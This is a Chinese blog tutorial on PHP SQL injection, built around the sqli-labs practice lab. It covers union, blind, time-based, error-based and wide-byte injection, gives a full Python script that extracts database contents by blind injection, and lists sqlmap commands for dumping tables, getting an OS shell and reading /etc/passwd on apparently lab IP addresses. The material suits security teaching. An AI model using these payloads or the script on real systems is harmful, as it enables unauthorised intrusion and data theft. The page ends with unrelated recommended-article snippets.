php漏洞集合

第三章 常见的php漏洞集合

1.sql注入漏洞

0x01 注入介绍

1.什么是sql注入

用户输入的参数被当成sql语句在数据库里执行,这就是sql注入漏洞

2.sql注入的危害

sql注入轻则获取数据库信息,重则获取服务器权限。

0x02 搭建sqli-labs靶机

0.介绍

SQLI-LABS是学习SQLI的平台

sqli-labs下载链接:https://github.com/Audi-1/sqli-labs

环境:phpstudy+windows10

1.创建网站(注意php版本选择5.6)

image-20200919233002289

2.打开根目录,上传sqlilab源码

image-20200919233116252

3.解压到目录

image-20200919233254159

4.修改网站根目录

image-20200919233352457

5.打开网站

image-20200919233414959

6.安装数据库

image-20200919233435226

7.安装报错

image-20200919233506010

检查如下文件D:\phpstudy_pro\WWW\sql.com\sqli-labs-master\sqli-labs-master\sql-connections\setup-db.php第29行

以及错误 db-creds.inc: Access denied for user ‘root’@‘localhost’ (using password: NO)

发现是由于db-creds.inc中数据库root密码为空导致的报错

image-20200919233727572

8.修改当前mysql的root密码,并重新刷新页面

image-20200919233820954

9.安装完成,访问less-1

image-20200919233851950

image-20200919233910271

10.传入参数?id=1

image-20200919233941933

11.修改文件(方便注入学习)

在less-1文件夹中的index.php中修改如下代码

image-20200919234215466

浏览器访问查看效果

image-20200919234256605

0x02 注入测试

01 介绍

我们刚刚说到的,sql注入是和数据库交互,所以我们在找注入点的时候一定要注意,这个地方有没有和数据库做交互?常见的数据库交互的位置在哪里?

02 案例

这里我们看到我们的less-1,我们发现除了提交?id=1之外,我们还可以提交其他的值

例如当我们提交 ?id=1*2,

image-20200919234859004

我们会发现1*2被单引号包裹,并不会对数据库取值造成影响

但是如果我们这样提交?id=1*2',整个数据库就会报错

image-20200919235043618

这是为什么呢?我们仔细看到sql语句

SELECT * FROM users WHERE id='1*2'' LIMIT 0,1

mysql在执行的时候发现语句的符号不匹配,在1*2前面为单引号,后面为双引号,出现了语法错误,也即是我们“不小心”提交的字符破坏了原本的sql语句,那我们能不能利用这个错误呢?

首先要让mysql错误消失,这里我们使用mysql的注释语句

# 与 --+ 分别代表mysql的单行注释

我们如果这样提交

(这里的%23为#号经过url编码后的结果)

看看效果 ?id=1*2’ --+

image-20200919235614694

?id=1*2’ %23

image-20200919235644224

发现都能够成功闭合sql语句,执行我们的自定义语句,导致sql注入的产生

0x03.如何判断sql注入?

判断注入的标准就是,我们输入的语句是否被sql数据库执行

一般我们会用到如下语句

  • 1 and 1=1 (可能被WAF)
  • 1 or sleep(1) (时间注入)(可能被WAF)
  • 1 xor 1=1 (异或注入)

0x04 mysql系统变量与函数

mysql内置很多常见函数与变量,在sql注入中我们可能会用到,所以这里我们做一个简单介绍

如何具体查看变量呢?变量用@@变量名 来表示

show variables;

image-20200918085815499

查询数据库的版本信息

select @@version;

image-20200918090343379

一些常见的mysql函数

user(),version(),datadir()

查看mysql服务器版本

select version();

image-20200918090556398

查看当前数据库当前用户

select user();

image-20200919224039248

查看数据库位置(这个在之后我们会用得到)

select @@datadir;

image-20200919230530004

当然还有查询所有的数据库

show databases;

image-20200919230903209

查询当前的数据库

select database();

image-20200919231010405

0x05 基础注入

从查数据库-查数据库中的表-查表中的字段-获取字段中的内容,既获取管理员密码

mysql在选中数据库后能不能获取到其他数据库的内容?

image-20200921085919037

答案是可以的

image-20200921085959786

同时table_schema 这个字段的值也是可以用函数来直接替换

image-20200921090016808

image-20200921090056874

1.查数据库
select database();

image-20200921100957305

2.查数据库中的表
select table_name from information_schema.tables where table_schema = database();

image-20200921095015755

也可以通过 group_concat() 函数把所有结果放在一个结果集中查询

http://117.167.136.242:8002/Less-1/?id=0%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%20=%20database()--+

image-20200921094513827

3.查表里的字段
select column_name from information_schema.columns where table_schema=database() and table_name = 'emails';

image-20200921094445450

4.从表里面查找字段的内容

使用concat_ws可以把字段放在一块查询

从数据库里取N个字段,然后组合到一起用“,”分割显示,起初想到用CONCAT()来处理,好是麻烦,没想到在手册里居然有提到CONCAT_WS(),非常好用

select 1,2,concat_ws('~',id,email_id) from emails;
http://117.167.136.242:8002/Less-1/?id=0%27%20union%20select%201,2,concat_ws(%27~%27,id,email_id)%20from%20emails%20--+

image-20200921095834968

5.测验内容

目标获取网站系统的管理员账号密码

http://rdctf.com:8000/challenges

image-20200921101050587

注意这里最好用union all select

image-20200922092247940

查表

http://117.167.136.244:28045/index/narticle.php?nid=-3099 union all select (select table_name from information_schema.tables where table_schema = database() limit 0,1),2 --+

image-20200922120657258

同时也可以用group_concat()

http://117.167.136.244:28045/index/narticle.php?nid=-3099%20union%20all%20select%20(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),2%20--+
http://117.167.136.244:28045/index/narticle.php?nid=-3099 union all select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2 --+

0x06.其他注入类型

1.基于布尔型的盲注

即可以根据返回页面判断条件真假的注入

?id='1' and 1= 1 -- 

页面正常

image-20200921144558530

?id='1' and 1= 2 -- 

页面出错

image-20200921144649158

那么盲注是如何获取数据库数据呢?

首先获取数据库名,我们要先判断数据库长度,然后逐步获取

?id='0' or length(database())>8 --

在mysql数据库中执行如下,length() 为取字符串长度

image-20200921145433667

在sql靶机测试如下,当length(database()) > 7 数据库成立,则页面显示正常,反之则无回显

image-20200921145625691

image-20200921145331398

猜数据库第一位字符,substr(database(),1,1) ,从第一位字符串开始取,取一位

image-20200921151222823

把取到的这一位换成ascii,这样方便匹配

image-20200921151803942

image-20200921151335351

测试–查库名

?id=0' or ascii(substr(database(),1,1)) > 110 -- 

image-20200921151555533

image-20200921151649387

下面我们进行查表操作

在查表之前我们需要获取当前数据库中存在几个表

SELECT count(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = database();

image-20200921152646099

select 1 or 4 = (SELECT count(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = database());

确认当前数据库中存在四个表

image-20200921153039944

测试 or 4 = 正常 or 5 = 失败

image-20200921153214645

image-20200921153301768

测试完数据库表的个数后,测试第一个表的开头第一个字符,建议这里把数据库语句拆分理解

select (substr((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.tables where TABLE_SCHEMA ='security' limit 0,1),1,1));

image-20200921154750594

select (ascii(substr((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.tables where TABLE_SCHEMA ='security' limit 0,1),1,1)));

image-20200921154921204

image-20200921155201065

?id='' or ascii(substr((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.tables where TABLE_SCHEMA ='security' limit 0,1),1,1)) = 101 --+ 

image-20200921160402791

下面进行查字段长度操作

select '0' or 2 = (SELECT count(column_name) FROM INFORMATION_SCHEMA.columns where TABLE_SCHEMA = database() and table_name = 'emails');

image-20200921160027261

select '0' or 3 = (SELECT count(column_name) FROM INFORMATION_SCHEMA.columns where TABLE_SCHEMA = database() and table_name = 'emails');

image-20200921160159032

下面进行查字段名

select (SELECT column_name FROM INFORMATION_SCHEMA.columns where TABLE_SCHEMA ='security' and table_name = 'emails' limit 0,1);

image-20200921160929556

select (ascii(substr((SELECT column_name FROM INFORMATION_SCHEMA.columns where TABLE_SCHEMA ='security' and table_name = 'emails' limit 0,1),1,1)));

image-20200921161031692

select (ascii(substr((SELECT column_name FROM INFORMATION_SCHEMA.columns where TABLE_SCHEMA ='security' and table_name = 'emails' limit 0,1),2,1)));

image-20200921161105885

查找表中的字段内容

首先判断字段内容的条数

SELECT count(`id`) FROM security.emails;

image-20200921161639749

image-20200921162315738

select (ascii(substr((SELECT `email_id` from security.emails limit 2,1),1,1)));

image-20200921163025172

image-20200921163037849

至此,整个基于布尔型的盲注的过程结束

https://www.tr0y.wang/2017/12/11/SqliLab/#Day8-Less8

from requests import get
def GuessDBLength():
    print '[+]Guessing DBLength'
    i = 0
    while 1:
        r = get("http://localhost/sqllab/Less-1/?id=0' or length(database())=%d--+" %i)
        html = r.text
        if 'Your Login name' in html:
            print '  [-]The DatabaseNameLength is', i
            return i
        i+=1
def GuessDBName(length):
    print '[+]Guessing DBName'
    name = ''
    for i in xrange(length):
        for n in xrange(127):
            r = get("http://localhost/sqllab/Less-1/?id=0' or ascii(SUBSTR(database(),%d,1))='%d'--+" %(i+1,n))
            html = r.text
            if 'Your Login name' in html:
                name += chr(n)
                print '  [-]', name
                break
    print '  [-]DBName is:', name
    return name
def GuessTBsNum(name):
    print '[+]Guessing Tables num'
    i = 0
    while 1:
        r = get("http://localhost/sqllab/Less-1/?id=' or %d=(SELECT count(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA ='%s') --+" %(i,name))
        html = r.text
        if 'Your Login name' in html:
            print '  [-]The Tables num is', i
            break
        i+=1
    return i
def GuessTBNameLenth(n, name):
    print '[+]Guessing TableName Length'
    i = 1
    while 1:
        r = get("http://localhost/sqllab/Less-1/?id=' or ascii(SUBSTR((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.tables where TABLE_SCHEMA ='%s' limit %d,1),%d,1)) --+" %(name,n,i))        
        html = r.text
        if 'Your Login name' not in html:
            print '  [-]The TableName Lenth is', i-1
            return i-1
        i+=1
def GuessTBsNames(num, DBName):
    TBsNames = []
    for no in range(num):
        name = ''
        length = GuessTBNameLenth(no, DBName)
        print '  [-]Guessing Table Name'
        for i in xrange(length):
            for n in xrange(127):
                r = get("http://localhost/sqllab/Less-1/?id=' or ascii(SUBSTR((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA ='%s' limit %d,1),%d,1))='%d' --+" %(DBName,no,i+1,n))
                html = r.text
                if 'Your Login name' in html:
                    name += chr(n)
                    print '    [-]', name
                    break
        TBsNames.append(name)
    print '  [-]All Tables Names is:', TBsNames
    return TBsNames
def GuessCLMNum(tname,dname):
    print '[+]Guessing Colunms num'
    i = 0
    while 1:
        r = get("http://localhost/sqllab/Less-1/?id=' or %d=(SELECT count(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME ='%s' and TABLE_SCHEMA='%s') --+" %(i,tname,dname))   
        html = r.text
        if 'Your Login name' in html:
            print '  [-]The Colunm num is', i
            return i
        i+=1    
def GuessCLMLen(cnum, tname, dname):
    i = 1
    while 1:
        r = get("http://localhost/sqllab/Less-1/?id=' or ascii(SUBSTR((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME ='%s'  and TABLE_SCHEMA='%s' limit %d,1),%d,1)) --+" %(tname,dname,cnum,i))        
        html = r.text
        if 'Your Login name' not in html:
            print '  [-]The Colunm Lenth is', i-1
            return i-1
        i+=1
def GuessCLMName(DBName, TNames):
    for tname in TNames:
        print '[+]Guessing Colunms for', tname
        CLMNames = []
        for cnum in range(GuessCLMNum(tname,DBName)):
            length = GuessCLMLen(cnum, tname, DBName)
            name = ''
            for i in xrange(length):
                for n in xrange(127):
                    r = get("http://localhost/sqllab/Less-1/?id=' or ascii(SUBSTR((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME ='%s' and TABLE_SCHEMA='%s' limit %d,1),%d,1))='%d' --+" %(tname,DBName,cnum,i+1,n))
                    html = r.text
                    if 'Your Login name' in html:
                        name += chr(n)
                        print '    [-]', name
                        break
            data = GuessDatas(DBName, tname, name)
            CLMNames.append(name)
        print '  [-]The Colunms are',CLMNames
def GuessDatasnum(dname, tname, cname):
    i = 0
    while 1:
        r = get("http://localhost/sqllab/Less-1/?id=' or %d=(SELECT count(%s) FROM %s.%s) --+" %(i,cname,dname,tname))   
        html = r.text
        if 'Your Login name' in html:
            print '  [-]The Datas num is', i
            return i
        i+=1
def GuessDataLen(dname, tname, cname, n):
    print '    [-]Guessing data length'
    i = 1
    while 1:
        r = get("http://localhost/sqllab/Less-1/?id=' or ascii(SUBSTR((SELECT %s FROM %s.%s limit %d,1),%d,1)) --+" %(cname, dname, tname, n, i))        
        html = r.text
        if 'Your Login name' not in html:
            print '  [-]The Data Lenth is', i-1
            return i-1
        i+=1
def GuessDatas(dname, tname, cname):
    datanum = GuessDatasnum(dname, tname, cname)
    Data = []
    for no in range(datanum):
        length = GuessDataLen(dname, tname, cname, no)
        print '    [-]Guessing data'
        name = ''
        for i in xrange(length):
            for n in xrange(127):
                while 1:
                    try:
                        r = get("http://localhost/sqllab/Less-1/?id=' or ascii(SUBSTR((SELECT %s FROM %s.%s limit %d,1),%d,1))='%d' --+" %(cname, dname, tname, no,i+1,n))
                        break
                    except:
                        print 'Relaxing...'
                html = r.text
                if 'Your Login name' in html:
                    name += chr(n)
                    print '    [-]', name
                    break
        Data.append(name)
    print '  [-]All Datas of %s is:' %cname, Data
    return Data
DBLength = GuessDBLength()
DBName = GuessDBName(DBLength)
print
TBsNum = GuessTBsNum(DBName)
TBsNames = GuessTBsNames(TBsNum, DBName)
print
GuessCLMName(DBName, TBsNames)
print '[!]All Done!'

2.基于时间的盲注

即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

这里我们需要打开浏览器的控制台,点网络选项进行查看

?id=1' and sleep(5) --+

image-20200921164046139

如何获取数据?其实很简单,就是在盲注的基础上加了个if语句

select 0 or If(ascii(substr(database(),1,1))=115,sleep(5),0);

image-20200921170635730

这里不做过多讲解(基于盲注)

3.基于报错注入

即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

https://v0w.top/2018/08/03/MySQL%20%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5/#%E6%B3%A8%E5%85%A5%E8%AF%AD%E5%8F%A5

https://blog.csdn.net/whatday/article/details/63683187

01 floor()
RAND() in a WHERE clause is re-evaluated every time the WHERE is executed. You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times. However, you can retrieve rows in random order like this:

官方文档中的意思是:在where语句中,where每执行一次,rand()函数就会被计算一次。rand()不能作为order by的条件字段,同理也不能作为group by的条件字段。

如下面的语句,由于rand()不能作为group by的条件字段所以报错

select 1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from users group by x)a);

image-20200922083348416

image-20200922084016611

02 extractvalue()

MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,分别是ExtractValue()和UpdateXML()

因此在mysql 小于5.1.5中不能用ExtractValue和UpdateXML进行报错注入

EXTRACTVALUE (XML_document, XPath_string);
  • 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  • 第二个参数:XPath_string (Xpath格式的字符串).
  • 作用:从目标XML中返回包含所查询值的字符串

第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里

select 1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

image-20200922084332016

image-20200922084524784

值得注意的是,updatexml()和extractvalue()一样,报错长度是有限制的,最长32位。(从最后一句测试,也可以看出)

image-20200922085247320

03 updatexml()
UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

0

另外,updatexml最多只能显示32位,需要配合SUBSTR使用

updatexml(1,concat(0x7e,SUBSTR((SELECT f14g from f14g LIMIT 0,1),1,24),0x7e),1)
updatexml(1,concat(0x7e,(select substring(f14g,20) from f14g limit 0,1),0x7e),1)
04 NAME_CONST
name_const(name,value)

如果传入的参数不是常量也会报错

image-20200922094636226

返回给定值。 当用来产生一个结果集合列时, name_const()促使该列使用给定名称。

利用的是表的字段名(列名)不允许重复,列名重复会报错,报错长度没有限制

select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;

image-20200922093733061

select 1 and (select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x);

image-20200922094258576

4.宽字节注入

https://xz.aliyun.com/t/1719

宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不同的两个编码那么就有可能产生宽字节注入

例如说PHP的编码为 UTF-8MySql的编码设置为了
SET NAMES 'gbk'或是 SET character_set_client =gbk,这样配置会引发编码转换从而导致的注入漏洞

在我们正常情况下使用addslashes函数或是开启PHPGPC(注:在php5.4已上已给删除,并且需要说明特别说明一点,GPC无法过滤$_SERVER提交的参数)时过滤GET、POST、COOKIE、REQUSET 提交的参数时,黑客们使用的预定义字符会给转义成添加反斜杠的字符串如下面的例子

单引号(')= (\')
双引号(") = (\")
反斜杠(\) = (\\)

假如这个网站有宽字节注入那么我们提交:

http://127.0.0.1/unicodeSqlTest?id=%df%27

这时,假如我们现在使用的是addslashes来过滤,那么就会发生如下的转换过程

%df%27===(addslashes)===>%df%5c%27===(数据库GBK)===>運'

这里可能有一些人没看懂,我可以粗略的解释一下。
前端输入%df%27时首先经过上面addslashes函数转义变成了%df%5c%27%5c是反斜杠\),之后在数据库查询前因为设置了GBK编码,即是在汉字编码范围内两个字节都会给重新编码为一个汉字。然后MySQL服务器就会对查询语句进行GBK编码即是%df%5c转换成了汉字,而单引号就逃逸了出来,从而造成了注入漏洞

http://117.167.136.242:8002/Less-32/?id=1%df%27  order by 3 --+

image-20200925102552525

5.堆查询注入

0x07 sqlmap注入工具使用

1.sqlmap 安装

sqlmap 源码下载 https://github.com/sqlmapproject/sqlmap

python 环境安装 https://www.python.org/

将下载的SQLMAP安装包解压到文件夹sqlmap中,并拷贝到 “C:\Python27” 目录下 (C:\Python27 为你的python安装路径)

image-20200910165830309

新建cmd快捷方式(C:\\windows\system32\cmd.exe)

image-20200910165846678

新建快捷方式

image-20200910165900584

image-20200910165928234

运行sqlmap.py

image-20200910165949769

2.sqlmap 使用

在使用之前需要认真的考虑一个问题,哪里可能是注入点?

https://parrotsec-cn.org/t/topic/834

https://www.cnblogs.com/hongfei/p/3872156.html

下面是简单教程(以mysql数据库为例)

01 判断注入点
sqlmap -u "http://117.167.136.244:28040/ajax.php?act=selgo" --data "tyid=1"

如果存在注入点即会爆出信息如下

image-20200917091217910

02 列数据库信息
sqlmap -u "http://117.167.136.244:28040/ajax.php?act=selgo" --data "tyid=1" --dbs

image-20200917093430391

03 查数据库里面的表
sqlmap -u "http://117.167.136.244:28040/ajax.php?act=selgo" --data "tyid=1" -D faka --tables

image-20200917093627236

04 查表里面的字段
sqlmap -u "http://117.167.136.244:28040/ajax.php?act=selgo" --data "tyid=1" -D faka -T ayangw_config --columns

image-20200917093750198

05 查字段里面的内容
sqlmap -u "http://117.167.136.244:28040/ajax.php?act=selgo" --data "tyid=1" -D faka -T ayangw_config -C 'ayangw_k,ayangw_v' --dump

image-20200917094222037

3.sqlmap 使用-进阶

01 POST 注入 --data 为 post传入的参数
sqlmap -u "http://117.167.136.244:28040/ajax.php?act=selgo" --data "tyid=1"

image-20200917112003504

02 查看权限
sqlmap -u "http://117.167.136.244:28023/ajax.php?act=selgo" --data "tyid=1" --is-dba

image-20200917122746765

03 执行命令

(注意是dba权限)

sqlmap -u "http://117.167.136.244:28023/ajax.php?act=selgo" --data "tyid=1" --os-shell

image-20200917122911500

04 文件读取

(注意是dba权限)

sqlmap -u "http://117.167.136.244:28023/ajax.php?act=selgo" --data "tyid=1" --file-read=/etc/passwd

image-20200917123144538

05 tamper 绕waf
sqlmap.py -u"http://**.com/detail.php? id=16" –tamper "halfversionedmorekeywords.py"

2.XSS挑战

01 什么是xss

https://xz.aliyun.com/t/4507

https://prompt.ml/0 靶机

https://github.com/myxss/vulstudy

3.文件上传漏洞

版权声明:本文为weixin_50683638原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_50683638/article/details/109010441

智能推荐

循环

与任何程序设计语言一样Java利用条件语句与循环结构确定流程控制,一下总结一下Java中的循环语句: while do while for switch 对于golang来说: switch非常灵活。从第一个expr为true的case开始执行,如果case带有fallthrough,程序会继续执行下一条case,不会再判断下一条case的expr,如果之后的case都有fallthrough,d...

1638 统计只差一个字符的子串数目(动态规划)

1. 问题描述: 给你两个字符串 s 和 t ,请你找出 s 中的非空子串的数目,这些子串满足替换一个不同字符以后,是 t 串的子串。换言之,请你找到 s 和 t 串中恰好只有一个字符不同的子字符串对的数目。比方说, "computer" 和 "computation"...

websocket基本原理

HTTP中一个request只能有一个response。而且这个response也是被动的,不能主动发起 因此过去的服务端推送信息是通过客户端不停的轮询实现的 websocket是双向通信协议,提供了服务端主动推送信息的能力 需要客户端(浏览器)和服务端同时支持 如果经过代理的话,还需要代理支持,否则有些代理在长时间无通信时会自动切断连接 因此WS为了保证连接不被断掉,会发心跳 WebSocket...

mybatis+ehcache二级缓存

导入jar包 mapper.xml文件开启二级缓存 pojo类实现序列化接口 配置ehcache.xml 测试...

python+opencv实现图像拼接

任务 拍摄两张图片去除相同部分,拼接在一起 原图 结果 步骤 读取两张图片 使用sift检测关键点及描述因子 匹配关键点 处理并保存关键点 得到变换矩阵 图像变换并拼接 代码实现 扩展 这里对右边图像进行变换,右边变得模糊,可以修改代码对左边图像变换 这里只有两张图片拼接,可以封装实现多张图片拼接 可以修改代码实现上下图片的拼接...

猜你喜欢

python_sklearn机器学习算法系列之AdaBoost------人脸识别(PCA,决策树)

          注:在读本文之前建议读一下之前的一片文章python_sklearn机器学习算法系列之PCA(主成分分析)------人脸识别(k-NearestNeighbor,KNN)         本文主要目的是通过一个简单的小...

memmove函数与memcpy函数的模拟实现

memmove函数和memcpy函数都是在内存复制任意类型的,但是它俩也有区别。当源区域和目标区域有重复的,memmove函数会复制缓冲区重叠的部分,而memcpy相反,会报出未知错误。 下面给出两个函数的实现 首先,memmove函数。 实现的基本原理如下图。 具体代码如下: memcpy函数的实现很简单,就直接给出源代码了...

SpringFramework核心 - IOC容器的实现 - 总结

1. 概述 把Spring技术内幕第一章和第二章过了一遍,也做了一些笔记, 对IOC容器的实现有了一定皮毛理解,现在跟着源码再过一遍总结一下IOC容器的初始化,Bean的初始化的过程,做一下总结 ① IOC容器和简单工厂模式 在开始之前,先想想我们平时是怎么使用IOC容器为我们管理Bean的,假设我们要把下面的User类交给IOC容器管理 我们不想关心如何创建一个User对象实例的,仅仅在需要他的...

Python和Django的安装

个人博客导航页(点击右侧链接即可打开个人博客):大牛带你入门技术栈  一、下载并安装Python Python 官方下载地址:http://www.python.org/ftp/python/ 我们这里选择的是 Python 2.7.2 。虽然目前最新版是Python 3.2.2, 但是Django目前还不支持 Python 3.2.2。 安装步骤很简单,双击安装包开...